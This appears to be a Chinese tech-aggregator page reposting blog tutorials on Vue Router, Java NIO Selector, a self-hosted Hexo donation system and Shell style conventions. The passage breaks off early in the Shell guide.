分類: 3C資訊

  • Vue —— 精講 VueRouter(1)

    最近被Boos調去給新人做培訓去了,目前把自己整理的一些東西分享出來,希望對大家有所幫助

    demo源代碼地址:https://github.com/BM-laoli/BMlaoli-learn-VueRouter

    本章節為VueRouter前端 路由的章節部分

    大綱

    一、基本概念

    路由就是通過網絡把訊息從源地址傳輸到目的地的活動
    需要一些映射表

    1. 做路由
    2. 做信息的轉發(核心就是:轉發)

    後端路由還有前端路由,後端渲染和前端渲染

    前端渲染(前後端分離API生態),後端渲染(view嵌套一起)

    前端路由的核心概念
    地址變化的時候改變url的時候,不進行整體頁面刷新

    改變url但是不刷新頁面,的解決方式

    我們有這樣的一個需求,改變url跳轉地址,我們獲取新的頁面,但是不希望頁面發生刷新

    解決方案1:locaion.hash = ‘/’

    這個是vueRouter的底層實現

    監聽hash的變化,從而改變網頁數據的獲取機制,渲染對應的組件,

    解決方案2:H5的histroray模式

    1. pushState
      history.pushState({},”,’home’),第三個參數就是url

    這裏的push實際上就是一個棧結構(先進后出),

    假設我們這裏需要回去,使用back()彈棧

    history.pushState({},'','home'),
    history.pushState({},'','about'),
    history.pushState({},'','user'),
    
    //執行這個之後就能進行back()出棧了
    history.back(),
    // 此時的url是 /about
    
    
    1. repalceState

    這裡有一個方法和push方法很像,但是不會back()不能點擊後腿按鈕

    history.repalceState({},'','user'),
    
    1. go

    這裏的go是對棧的一個操作,
    go(-1)彈出一個
    go(-2)彈出二個

    go(1)壓入一個
    go(2)壓入二個

    go(-1)
    

    以上就是我們的基本的前端路由原理

    二、v-router基本使用

    前端三大框架都有自己的router,可以用來構建SPA應用

    使用小提示,還是非常非常的簡單的:

    1. 如果你沒有安裝就需要 npm install vue-router去安裝
      • 導入路由對象,並且調用Vue.use(VueRouter)安裝這個路由插件
      • 創建路由實例,傳入映射配置wxain
      • 在vue實例中掛載創建好了的路由

    1.導入路由對象,並且配置optionn給路由

    /router/index.js

    
    /**
     * 配置路由相關的信息
     */
    // 1. 導入
     import Router from 'vue-router'
     
     // 2.1 導入vue實例
    import Vue from 'vue'
    
    // 導入組件
    import Home from '../components/Home.vue'
    import About from '../components/About.vue'
    
    
    // 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
    Vue.use(Router)
    
    // 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西
    
    // 4. 抽離配置項出來
    const routes = []
    
    const router = new Router({routes})
    
    //4. 導出
    export default router 
     
    
    

    2.配置路由映射

    /router/index.js

    const routes = [
     
     {path:'/home',component:Home},
     {path:'/about',component:About},
    
    ] 
    

    3.在實例中使用路由

    /main.js

    import Vue from 'vue'
    import App from './App'
    import router from './router'//注意啊模塊查找規則index.js
    
    Vue.config.productionTip = false
    
    /* eslint-disable no-new */
    new Vue({
      el: '#app',
      router,// 主要是在這裏掛載進去就好了
      render: h => h(App)
    }) 
    

    4.小心,我們的路由入口還有連接link

    /App.vue

    
    <template>
      <div id="app">
        <!-- //這兩個是一個全局祖冊過着個組件,這個就是一個a標籤 -->
        <router-link to='/home'>首頁</router-link>
        <router-link to='/about'>關於</router-link>
        <!-- 路由出口,既:渲染的出口,這個就是一個佔位符號 -->
        <router-view></router-view>
      </div>
    </template>
    
    

    以下是我們的兩個組件

    /Home.vue

    <template>
        <div>
            <h2>我是首頁</h2>
            <p>我是首頁內容哈哈哈</p>
        </div>
    </template>
    
    <script>
        export default {
            
        }
    </script>
    
    <style scoped>
    
    </style>
    

    /About.vue

    <template>
        <div>
            <h2>我是關於頁面</h2>
            <p>我是首關於內容哈哈哈</p>
        </div>
    </template>
    
    <script>
        export default {
            
        }
    </script>
    
    <style>
    
    </style>
    

    以上就是我們非常簡單的使用

    三、其它的知識點補充

    路由的默認值,並且修改成mode=>hisary模式

    我們希望默認显示的就是一個首頁
    解決方式,映射一個’/’,然後進行重定向
    /index.js

      {
        path:'/',
        redirect:'/home'
      },
    

    我們為什麼要去做這調整成一個history,因為我們希望去掉#這個標識

    只需要在new 的時候指定一下就好了
    /index,js

    const router = new Router({
      routes,
      mode:"history"//就是這裏的這個更改路由方式
    })
    

    router-link的屬性

    1. tage
      to是一個屬性 ,默認是渲染成一個a鏈接,假設我現在需要默認渲染成一個buttmm怎麼辦呢?
      加一個tag就好了
        <router-link to='/home' tag='button'  >首頁</router-link>
    
    1. 更改模式replceStats 不允許瀏覽器回退
      replace加上去就好了
    <router-link to='/about' tag='button' replace >關於</router-link>
    
    1. 我們可以利用一些默認的東西去非常方便的做到想要的效果
    <style>
    .router-link-active{
      color: blue;
    }
    </style>
    

    替換值:我們希望不要怎麼長,我們希望.active就能改樣式怎麼搞?
    加一個active-calss就好了,這個直接就是acitve做為類就好了

     <router-link to='/home' tag='button'  active-class  >首頁</router-link>
     <style>
        .active{
            bgc:red
        }
     </style>
    

    代碼路由跳轉,意思就是重定向

    注意啊!route != router
    在我們學習路由的時候,this.$router是一個非常重要的對象

    這個東西在開中經常的使用

    // this.$router.push('重定向的值就好了')。
    // this.$router.push('/home')
    // 如果你不想有出現回退按鈕,這樣來做就好了
    this.$router.replace('/home')
    

    四、動態路由參數

    這裏只是簡單的介紹了理由傳參的地址欄拼接模式,但是還有更多更奇奇怪怪的傳值方式,詳見官方Router文檔,

    this.$router.parmas
    // 這個parmas裏面就是我們的路由參數存放點
    

    這裏我們有這樣的一個需求,我們希望點擊user頁面的時候可以,得到任意的路由參數

    比如我們現在/user/zhnsang,的時候可以獲取zhangshang,/user/lishi的時候可以獲取lishi>

    1. 首先我們需要在路由裏面加:
      /router/index.js
       {
            path: "/user/:usermsg",
            component: User
        }
    ]
    
    1. 頁面傳遞數據
      /App.vue
    router-link :to="'/user/'+username">用戶相關</router-link>
    <!-- 路由出口,既:渲染的出口,這個就是一個佔位符號 -->
    <router-view></router-view>
      </div>
    </template>
    
    <script>
    export default {
      name: 'App',
      data() {
        return {
          username: 'lisi'
        }
      },
    
    
    1. 頁面獲取數據

    一定要注意了,一定是rouer裏面定義的才能從另一路由拿出來

    /User.vue

    
    <template>
        <div>
            <h2>我是用戶相關專業</h2>
            <p>我是用戶訊息相關頁面,嘿嘿嘿嘿嘿</p>
            <h1>{{ $route.params.usermsg }}44</h1>
            <hr>
            <h2>{{username}}</h2>
        </div>
    </template>
    
    <script>
        export default {    
            computed: {
                username() {
                    return this.$route.params.usermsg
                }
            },
        }
    </script>
    
    <style scpoe>
    
    </style>
    

    五、細節詳解

    注意啊!再說一遍route != router

    注意啊,這裏的$route實際上是我們在main裏面new的一個Router得到的,
    並且 這個route對象是隨着請求的地方不一樣,而改變的。也就是說,這個的route是當前頁面中的route對象,而且在vue只能只有一個route實例存在

    六、 Vue的webpack打包詳解 + 路由懶加載

    一個vue項目的簡單打包目錄結構分析

    我們來看看,在一個vue項目中,簡單的三個文件是怎麼打包的

    假設目前有這樣的三個文件 ,我們需要對他們進行打包,mian是入口,有一個add業務,有一個math依賴模塊。那麼我們webpack打包成的三個文件到底是如何運行的呢?

    在vue中 使用webpack打包的時候,會把一些東西給分模塊的打包出來,它打包的東西的目錄結構如下
    裏面我們實際打包的時候會把css,js都給分開,各自有各自的作用

    | dist
    | ---static
    | ---css
    | ---js
    | -----app.XXXX.js         (這個是項目的業務邏輯所在)
    | -----manifest.xxxx.js    (這個是底層打包的依賴文件所在)
    | -----vendor.xxxx.js      (這個是依賴所在)
    | idnex.html
    

    路由懶加載

    1. 概念的理解

    目前呢,我們打包的情況是這樣的:我們所有的代碼都是集中放在了以一個app.xxx.js文件中,這樣其實不利於後期的維護和開發,因為如果我們有很多很多的大量的代碼的時候,我們的這個文件就會變得非常非常的大,於是呢,我們就需要路由懶加載,所謂懶加載就是:‘在需要的時候,才去加載某個資源文件’,路由懶加載,就是把每一個路由對應的業務邏輯代碼,在打包的時候分割到不同的js文件中,如何在需要用的時候再去請求它

    經過這樣的打包的懶加載之後,我們的目錄會變成這個樣子

    | dist
    | ---static
    | ---css
    | ---js
    | -----0.xxx.js            (假設是路由home的業務邏輯代碼)
    | -----1.xxx.js             (假設是路由about的業務邏輯代碼)
    | -----app.XXXX.js         (這個是項目的業務邏輯所在)
    | -----manifest.xxxx.js    (這個是底層打包的依賴文件所在)
    | -----vendor.xxxx.js      (這個是依賴所在)
    | idnex.html
    
    1. 如何使用

    使用非常的簡單,主要有如下的三種方式去使用,但是我最喜歡的還是最後一種方式
    /rouetr/index.js

    - 使用vue的異步組價和webpack的寫法,早期的時候
    const Home = resolve =>{ require.ensure(['../compenet/Home.vue'],()=>{
       resolve (require('../compenet/Home.vue'))
    })}
    
    - AMD規範的寫法
    const About = resolve =>{ require(['../compenent/About.vue'],resolve) }
    
    
    - ES6的結合異步組件的方式(最常用)
    const Home = () => import('../compenet/Home.vue')
    

    實際的使用
    /router/index.js

    /**
     * 配置路由相關的信息
     */
    // 1. 導入
    import Router from 'vue-router'
    
    // 2.1 導入vue實例
    import Vue from 'vue'
    
    // 導入組件
    // import Home from '../components/Home.vue'
    // import About from '../components/About.vue'
    // import User from '../components/User'
    const Home = () =>
        import ('../components/Home.vue')
    const About = () =>
        import ('../components/About.vue')
    const User = () =>
        import ('../components/User')
    
    
    // 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
    Vue.use(Router)
    
    // 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西
    
    // 4. 抽離配置項出來
    const routes = [{
            path: '/',
            redirect: '/home'
        },
        {
            path: '/home',
            component: Home
        },
        {
            path: '/about',
            component: About
        },
        {
            path: "/user/:usermsg",
            component: User
        }
    ]
    
    const router = new Router({
        routes,
        mode: "history"
    })
    
    //4. 導出
    export default router
    
    //6. 去main裏面掛載
    

    七、 路由嵌套

    我們目前有這樣的一個需求:我們希望我們在hone下,可以/home/new去到home下的一個子組件,/home/message去到另一個子組件

    1. 首先 我們需要有組件
      /components/HomeMessage.vue
    <template>
        <div>
          <ul>
              <li1>我是消息1</li1>
              <li2>我是消息2</li2>
              <li3>我是消息3</li3>
              <li4>我是消息4</li4>
          </ul>
        </div>
    </template>
    
    <script>
        export default {
            name:"HomeMessage"
        }   
    </script>
    
    <style>
    
    </style>
    
    

    /components/HomeNews

    <template>
        <div>
        <ul>
            <li1>新1</li1>
            <li2>新2</li2>
            <li3>新3</li3>
            <li4>新4</li4>
            <li5>新5</li5>
        </ul>
        </div>
    </template>
    
    <script>
        export default {
            name:"HomeNews"
        }
    </script>
    
    <style>
    
    </style>
    
    1. 在路由裏面去配置
    const HomeNews = () =>
        import ('../components/HomeNews')
    const HomeMessage = () =>
        import ('../components/HomeNews')
    
    
    // 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
    Vue.use(Router)
    
    // 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西
    
    // 4. 抽離配置項出來
    const routes = [{
            path: '/',
            redirect: '/home'
        },
        {
            path: '/home',
            component: Home,
            children: [{
                    path: '',
                    redirect: 'news'
                },
                {
                    path: 'news',// 這裏寫路由實際上應該是/home/news,這裏只是一個相對路由地址,
                    component: HomeNews
                },
                {
                    path: 'message',
                    component: HomeMessage
                },
    
            ]
        },
        {
    
    1. 打入口router-view(瞎起的名字實際上就是路由的佔位符)
      /Home.vue
    <template>
        <div>
            <h2>我是首頁</h2>
            <p>我是首頁內容哈哈哈</p>
         <router-link to="/home/news">news</router-link>
         <router-link to="/home/message">message</router-link>
        <router-view></router-view>
        </div>
    </template>
    
    <script>
        export default {
            
        }
    </script>
    
    <style scoped>
    
    </style>
    

    這裏如果是有關狀態的保持,我們需要使用key-alive,後面我們再做詳細的講解

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    南投搬家公司費用需注意的眉眉角角,別等搬了再說!

    ※教你寫出一流的銷售文案?

  • 小師妹學JavaIO之:用Selector來發好人卡

    小師妹學JavaIO之:用Selector來發好人卡

    目錄

    • 簡介
    • Selector介紹
    • 創建Selector
    • 註冊Selector到Channel中
    • SelectionKey
    • selector 和 SelectionKey
    • 總的例子
    • 總結

    簡介

    NIO有三寶:Buffer,Channel,Selector少不了。本文將會介紹NIO三件套中的最後一套Selector,並在理解Selector的基礎上,協助小師妹發一張好人卡。我們開始吧。

    Selector介紹

    小師妹:F師兄,最近我的桃花有點旺,好幾個師兄莫名其妙的跟我打招呼,可是我一心向著工作,不想談論這些事情。畢竟先有事業才有家嘛。我又不好直接拒絕,有沒有什麼比較隱晦的方法來讓他們放棄這個想法?

    更多內容請訪問www.flydean.com

    這個問題,我沉思了大約0.001秒,於是給出了答案:給他們發張好人卡吧,應該就不會再來糾纏你了。

    小師妹:F師兄,如果給他們發完好人卡還沒有用呢?

    那就只能切斷跟他們的聯繫了,來個一刀兩斷。哈哈。

    這樣吧,小師妹你最近不是在學NIO嗎?剛好我們可以用Selector來模擬一下發好人卡的過程。

    假如你的志偉師兄和子丹師兄想跟你建立聯繫,每個人都想跟你建立一個溝通通道,那麼你就需要創建兩個channel。

    兩個channel其實還好,如果有多個人都想同時跟你建立聯繫通道,那麼要維持這些通道就需要保持連接,從而浪費了資源。

    但是建立的這些連接並不是時時刻刻都有消息在傳輸,所以其實大多數時間這些建立聯繫的通道其實是浪費的。

    如果使用Selector就可以只啟用一個線程來監聽通道的消息變動,這就是Selector。

    從上面的圖可以看出,Selector監聽三個不同的channel,然後交給一個processor來處理,從而節約了資源。

    創建Selector

    先看下selector的定義:

    public abstract class Selector implements Closeable
    

    Selector是一個abstract類,並且實現了Closeable,表示Selector是可以被關閉的。

    雖然Selector是一個abstract類,但是可以通過open來簡單的創建:

    Selector selector = Selector.open();
    

    如果細看open的實現可以發現一個很有趣的現象:

    public static Selector open() throws IOException {
            return SelectorProvider.provider().openSelector();
        }
    

    open方法調用的是SelectorProvider中的openSelector方法。

    再看下provider的實現:

     public SelectorProvider run() {
       if (loadProviderFromProperty())
            return provider;
        if (loadProviderAsService())
            return provider;
          provider = sun.nio.ch.DefaultSelectorProvider.create();
          return provider;
        }
     });
    

    有三種情況可以加載一個SelectorProvider,如果系統屬性指定了java.nio.channels.spi.SelectorProvider,那麼從指定的屬性加載。

    如果沒有直接指定屬性,則從ServiceLoader來加載。

    最後如果都找不到的情況下,使用默認的DefaultSelectorProvider。

    關於ServiceLoader的用法,我們後面會有專門的文章來講述。這裏先不做多的解釋。

    註冊Selector到Channel中

    ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
            serverSocketChannel.bind(new InetSocketAddress("localhost", 9527));
            serverSocketChannel.configureBlocking(false);
            serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
    

    如果是在服務器端,我們需要先創建一個ServerSocketChannel,綁定Server的地址和端口,然後將Blocking設置為false。因為我們使用了Selector,它實際上是一個非阻塞的IO。

    注意FileChannels是不能使用Selector的,因為它是一個阻塞型IO。

    小師妹:F師兄,為啥FileChannel是阻塞型的呀?做成非阻塞型的不是更快?

    小師妹,我們使用FileChannel的目的是什麼?就是為了讀文件呀,讀取文件肯定是一直讀一直讀,沒有可能讀一會這個channel再讀另外一個channel吧,因為對於每個channel自己來講,在文件沒讀取完之前,都是繁忙狀態,沒有必要在channel中切換。

    最後我們將創建好的Selector註冊到channel中去。

    SelectionKey

    SelectionKey表示的是我們希望監聽到的事件。

    總的來說,有4種Event:

    • SelectionKey.OP_READ 表示服務器準備好,可以從channel中讀取數據。
    • SelectionKey.OP_WRITE 表示服務器準備好,可以向channel中寫入數據。
    • SelectionKey.OP_CONNECT 表示客戶端嘗試去連接服務端
    • SelectionKey.OP_ACCEPT 表示服務器accept一個客戶端的請求
    public static final int OP_READ = 1 << 0;
    public static final int OP_WRITE = 1 << 2;
    public static final int OP_CONNECT = 1 << 3;
    public static final int OP_ACCEPT = 1 << 4;
    

    我們可以看到上面的4個Event是用位運算來定義的,如果將這個四個event使用或運算合併起來,就得到了SelectionKey中的interestOps。

    和interestOps類似,SelectionKey還有一個readyOps。

    一個表示感興趣的操作,一個表示ready的操作。

    最後,SelectionKey在註冊的時候,還可以attach一個Object,比如我們可以在這個對象中保存這個channel的id:

    SelectionKey key = channel.register(
      selector, SelectionKey.OP_ACCEPT, object);
    key.attach(Object);
    Object object = key.attachment();
    

    object可以在register的時候傳入,也可以調用attach方法。

    最後,我們可以通過key的attachment方法,獲得該對象。

    selector 和 SelectionKey

    我們通過selector.select()這個一個blocking操作,來獲取一個ready的channel。

    然後我們通過調用selector.selectedKeys()來獲取到SelectionKey對象。

    在SelectionKey對象中,我們通過判斷ready的event來處理相應的消息。

    總的例子

    接下來,我們把之前將的串聯起來,先建立一個小師妹的ChatServer:

    public class ChatServer {
    
        private static String BYE_BYE="再見";
    
        public static void main(String[] args) throws IOException, InterruptedException {
            Selector selector = Selector.open();
            ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
            serverSocketChannel.bind(new InetSocketAddress("localhost", 9527));
            serverSocketChannel.configureBlocking(false);
            serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
            ByteBuffer byteBuffer = ByteBuffer.allocate(512);
    
            while (true) {
                selector.select();
                Set<SelectionKey> selectedKeys = selector.selectedKeys();
                Iterator<SelectionKey> iter = selectedKeys.iterator();
                while (iter.hasNext()) {
                    SelectionKey selectionKey = iter.next();
                    if (selectionKey.isAcceptable()) {
                        register(selector, serverSocketChannel);
                    }
                    if (selectionKey.isReadable()) {
                        serverResonse(byteBuffer, selectionKey);
                    }
                    iter.remove();
                }
                Thread.sleep(1000);
            }
        }
    
        private static void serverResonse(ByteBuffer byteBuffer, SelectionKey selectionKey)
                throws IOException {
            SocketChannel socketChannel = (SocketChannel) selectionKey.channel();
            socketChannel.read(byteBuffer);
            byteBuffer.flip();
            byte[] bytes= new byte[byteBuffer.limit()];
            byteBuffer.get(bytes);
            log.info(new String(bytes).trim());
            if(new String(bytes).trim().equals(BYE_BYE)){
                log.info("說再見不如不見!");
                socketChannel.write(ByteBuffer.wrap("再見".getBytes()));
                socketChannel.close();
            }else {
                socketChannel.write(ByteBuffer.wrap("你是個好人".getBytes()));
            }
            byteBuffer.clear();
        }
    
        private static void register(Selector selector, ServerSocketChannel serverSocketChannel)
                throws IOException {
            SocketChannel socketChannel = serverSocketChannel.accept();
            socketChannel.configureBlocking(false);
            socketChannel.register(selector, SelectionKey.OP_READ);
        }
    }
    

    上面例子有兩點需要注意,我們在循環遍歷中,當selectionKey.isAcceptable時,表示服務器收到了一個新的客戶端連接,這個時候我們需要調用register方法,再註冊一個OP_READ事件到這個新的SocketChannel中,然後繼續遍歷。

    第二,我們定義了一個stop word,當收到這個stop word的時候,會直接關閉這個client channel。

    再看看客戶端的代碼:

    public class ChatClient {
    
        private static SocketChannel socketChannel;
        private static ByteBuffer byteBuffer;
    
        public static void main(String[] args) throws IOException {
    
            ChatClient chatClient = new ChatClient();
            String response = chatClient.sendMessage("hello 小師妹!");
            log.info("response is {}", response);
            response = chatClient.sendMessage("能不能?");
            log.info("response is {}", response);
            chatClient.stop();
    
        }
    
        public void stop() throws IOException {
            socketChannel.close();
            byteBuffer = null;
        }
    
        public ChatClient() throws IOException {
            socketChannel = SocketChannel.open(new InetSocketAddress("localhost", 9527));
            byteBuffer = ByteBuffer.allocate(512);
        }
    
        public String sendMessage(String msg) throws IOException {
            byteBuffer = ByteBuffer.wrap(msg.getBytes());
            String response = null;
            socketChannel.write(byteBuffer);
            byteBuffer.clear();
            socketChannel.read(byteBuffer);
            byteBuffer.flip();
            byte[] bytes= new byte[byteBuffer.limit()];
            byteBuffer.get(bytes);
            response =new String(bytes).trim();
            byteBuffer.clear();
            return response;
    
        }
    }
    

    客戶端代碼沒什麼特別的,需要注意的是Buffer的讀取。

    最後輸出結果:

    server收到: INFO com.flydean.ChatServer - hello 小師妹!
    client收到: INFO com.flydean.ChatClient - response is 你是個好人
    server收到: INFO com.flydean.ChatServer - 能不能?
    client收到: INFO com.flydean.ChatClient - response is 再見
    

    解釋一下整個流程:志偉跟小師妹建立了一個連接,志偉向小師妹打了一個招呼,小師妹給志偉發了一張好人卡。志偉不死心,想繼續糾纏,小師妹回復再見,然後自己關閉了通道。

    總結

    本文介紹了Selector和channel在發好人卡的過程中的作用。

    • 區塊鏈從入門到放棄系列教程-涵蓋密碼學,超級賬本,以太坊,Libra,比特幣等持續更新
    • Spring Boot 2.X系列教程:七天從無到有掌握Spring Boot-持續更新
    • Spring 5.X系列教程:滿足你對Spring5的一切想象-持續更新
    • java程序員從小工到專家成神之路(2020版)-持續更新中,附詳細文章教程

    本文作者:flydean程序那些事

    本文鏈接:http://www.flydean.com/java-io-nio-selector/

    本文來源:flydean的博客

    歡迎關注我的公眾號:程序那些事,更多精彩等着您!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※別再煩惱如何寫文案,掌握八大原則!

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 給你看看小白博主開發的打賞系統

    給你看看小白博主開發的打賞系統

    本文章最初發表在XJHui’s Blog,未經允許,任何人禁止轉載!

    為使您獲得最好的閱讀體驗,強烈建議您點擊 這裏 前往 XJHui’s Blog 查看!

    Hexo-Donate

    打賞系統;打賞並填寫問卷后信息可以自動在打賞列表中展示;

    GitHub項目地址:https://github.com/xingjiahui/Hexo-Donate

    寫在前面

    1. 作者是大二軟工學生,在代碼規範系統強壯性等方面肯定存在欠缺,但也在努力提升自己能力。

    2. 自己的 個人博客 搭建好后,又用之前學的Web前端知識寫了打賞頁面,思路是:

      給 IamZLT 體驗后,也是覺得體驗不太友善(從填寫問卷到看到自己的打賞信息需要等待的時間太長)

      決定改版,從05.2706.02用一周的時間從確定思路測試思路可行性,從測試版發布再到功能完善,最終有了此系統。

      新版本思路:

    3. 系統用到的數據庫PHP等方面知識我還是個小白,但能憑自己能力把它實現出來就已經很滿意了。

    4. 問題或不足歡迎開 issues 或到 XJHui’s Blog 留言。

    關於系統

    理論上不管什麼框架,只要有一個空白頁面就能安排上…

    打賞列表demo:https://xingjiahui/donate

    問卷頁面demo:https://donate.xingjiahui.top

    後台管理暫時需要操作數據庫(可視化界面),如有必要可以添加後端管理頁面

    已支持的功能

    1. 打賞列表可統計總打賞人數打賞金額
    2. 不同打賞方式字體显示顏色不同
    3. 填寫打賞問卷並成功上傳,可在打賞列表中显示填寫的信息
    4. 數據上傳成功后,博主會收到QQ消息提醒

    待更新內容

    1. 區分已核實未核實金額
    2. 豐富QQ消息提醒內容
    3. 接入微信推送
    4. 支持自動審核

    系統界面圖

    1. 打賞列表:

    2. 問卷頁面:

    3. 操作GIF實錄:

    注:QQ消息提醒內容以後會豐富。

    安裝系統要求

    1. 虛擬主機(有免費版本在這裏 購買 )或 雲服務器(小白建議安裝寶塔面板)
    2. 打賞列表準備一個頁面

    使用該系統

    教程中用到的免費虛擬主機維護結束,已開放購買。

    下載並上傳

    1. 在項目頁clone or download選擇Download ZIP

    2. 在虛擬主機控制面板選擇在線文件管理器並進入www目錄下:

      解壓后如圖:

      框選出的文件/文件夾可刪除

    導入數據庫

    點擊donate_info.sql文件后的導入,提示輸入數據庫密碼

    當你開通虛擬主機時,會看到如下頁面:

    將這個密碼填入,即可導入成功(無視警告):

    為了便於測試,導入的數據庫中自帶了兩條數據:

    系統測試完成后請刪除!

    搭建問卷網站

    其實,將項目文件導入后,網站已經搭建完成:

    但訪問這個頁面需要域名,依次點擊控制面板基本功能域名綁定,就能看到自己網站的域名啦:

    瀏覽器訪問這個域名就能看到上面那個頁面了,但並不代表系統就弄好了!

    配置虛擬主機

    回到面板首頁,找到賬戶主機信息

    將右下角的PHP版本更換為php73

    注:如果不知道怎麼回主面板,點擊上圖左上角頭像試試!

    以下操作需要在www目錄下完成!

    1. 配置getJsonData.php

      點擊編輯

      找到下圖框選出的位置:

      還記得賬戶主機信息么,將對應的信息替換。

    2. 配置regist.php

      點擊編輯,找到下圖框選出的位置:

      下圖位置也要修改:

    3. 測試數據庫是否配置成功

      訪問上面那個域名,填寫上信息:

      上傳,判斷是否配置成功:

      ​ 注意:只要是提示錯誤/警告一定是操作問題,認真檢查。

    4. 檢查數據導出是否正常:

      瀏覽器訪問:域名/getJsonData.php

      查看能否導出數據庫內容:

    目前為止,打賞頁面數據庫已經配置好了,最後就是在前端把數據庫中的數據展現出來。

    編輯前端頁面

    1. forkgithub項目:

    2. 編輯pageJs.js文件

      點擊下圖位置可以在線修改文件:

      修改內容為:

    3. 編輯下面的代碼並粘貼到前面準備的空白頁面:

      Hexo框架下無論post(博客)還是page(頁面)都是markdown格式,但markdown兼容html提供了很大的便利性。

      修改下圖位置代碼:

      粘貼到空白頁面(markdown/html均可):

      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/sviptzk/HexoStaticFile@master/Hexo/css/custom.min.css">
      <p>截至 <span class="inline-tag red">nowDate</span>,共收到來自 <span class="inline-tag red">personNum</span>位小夥伴的打賞,金額為
          <span class="inline-tag red">sumDonate</span> 元!</p>
      <table>
          <thead>
          <tr>
              <th align="center">用戶名</th>
              <th align="center">打賞方式</th>
              <th align="center">打賞金額</th>
              <th align="center">賞金去向</th>
          </tr>
          </thead>
      </table>
      <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js"></script>
      <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/改成你的github用戶名/Hexo-donate@latest/pageJs.js"></script>
      

      注意:上面引用css不符合規範,但暫時沒有找到替代的方法。

    4. 檢查前端頁面是否能夠正常显示數據:

    提醒功能

    1. 到 Qmsg醬 這裏登陸並選擇一個Qmsg醬小姐姐

    2. 添加一個QQ號,然後添加1中的選擇的小姐姐為好友:

      注意:登陸賬號(如果QQ登陸)添加的賬號都要添加“她”為好友。

    3. 點擊文檔,用接口地址替換下面代碼中的接口地址

      echo '<script>function Qmsg(){var xhr=new XMLHttpRequest();url="接口地址?msg=收到新的打賞啦!";url=encodeURI(url);xhr.open("GET",url,true);xhr.send()}Qmsg();</script>';
      
    4. www目錄下編輯regist.php文件,將上面的代碼粘貼在下圖位置:

    後期使用

    1. 填寫打賞問卷后,點擊返回打賞列表會跳轉到作者的打賞列表:

      想修改為自己的,可以修改虛擬主機www目錄下的index.html文件:

    2. 後期維護:

      當有人打賞后,根據填寫的打賞方式去賬戶看有沒有到賬。

      • 收到打賞:將數據庫中donate_confirm字段修改為YES

      • 未收到打賞:在數據庫中將該記錄刪除

    至此,Hexo-Donate打賞系統全部安裝完成!

    感謝

    愛網雲、JsDelivr、Qmsg醬、亂世中的單純

    FLORIN POP、濤歌依舊、Yiven、程序小能手

    怪我咯、SweetAlert2、BigShow、百度經驗

    不足之處,歡迎留言,會及時回復,及時更正!

    創作不易,感謝支持!

    本文由博客群發一文多發等運營工具平台 OpenWrite 發布

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • Shell語法規範

    • ver:1.0
    • 博客:https://www.cnblogs.com/Rohn
    • 本文介紹了Shell編程的一些語法規範,主要參考依據為谷歌的Shell語法風格。

    目錄

    • 背景
      • 使用哪一種Shell
      • 什麼時候使用Shell
    • 註釋
      • 頂層註釋
      • 功能註釋
      • TODO註釋
    • 格式
      • 縮進
      • 行的長度和長字符串
      • 管道
      • 循環
        • if-else語句
        • for-do和while-do語句
      • case語句
      • 變量擴展
    • 特性
      • 命令替換
      • 文件名的通配符擴展
    • 命名約定
      • 函數名
      • 變量名
      • 常量和環境變量名
      • 源文件名
      • 只讀變量
      • 使用本地變量
    • 調用命令
      • 檢查返回值

    背景

    博客:https://www.cnblogs.com/Rohn

    使用哪一種Shell

    可執行文件必須以 #!/bin/bash 和最小數量的標誌開始。請使用 set 來設置shell的選項,使得用 <script_name>調用你的腳本時不會破壞其功能。

    推薦使用:

    #!/usr/bin/env bash
    

    env一般固定在/usr/bin目錄下,而其餘解釋器的安裝位置就相對不那麼固定。

    限制所有的可執行Shell腳本為bash使得我們安裝在所有計算機中的shell語言保持一致性。

    無論你是為什麼而編碼,對此唯一例外的是當你被迫時可以不這麼做的。其中一個例子是Solaris SVR4包,編寫任何腳本都需要用純Bourne shell

    [root@test ~]# echo $SHELL
    /bin/bash
    

    什麼時候使用Shell

    使用Shell需要遵守的一些準則:

    • 如果你主要是在調用其他的工具並且做一些相對很小數據量的操作,那麼使用Shell來完成任務是一種可接受的選擇。
    • 如果你在乎性能,那麼請選擇其他工具,而不是使用Shell。
    • 如果你發現你需要使用數據而不是變量賦值(如 ${PHPESTATUS} ),那麼你應該使用Python腳本。
    • 如果你將要編寫的腳本會超過100行,那麼你可能應該使用Python來編寫,而不是Shell。

    請記住,當腳本行數增加,儘早使用另外一種語言重寫你的腳本,以避免之後花更多的時間來重寫。

    註釋

    博客:https://www.cnblogs.com/Rohn

    Bash只支持單行註釋,使用#開頭的都被當作註釋語句。

    頂層註釋

    每個文件必須包含一個頂層註釋,對其內容進行簡要概述。版權聲明和作者信息是可選的。
    例如:

    #!/usr/bin/env bash
    # Author: Rohn
    # Version: 1.0
    # Created Time: 2020/06/06
